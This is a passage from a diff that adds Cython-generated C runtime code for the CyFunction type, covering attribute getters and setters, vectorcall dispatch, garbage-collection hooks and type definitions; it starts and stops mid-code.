(unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && 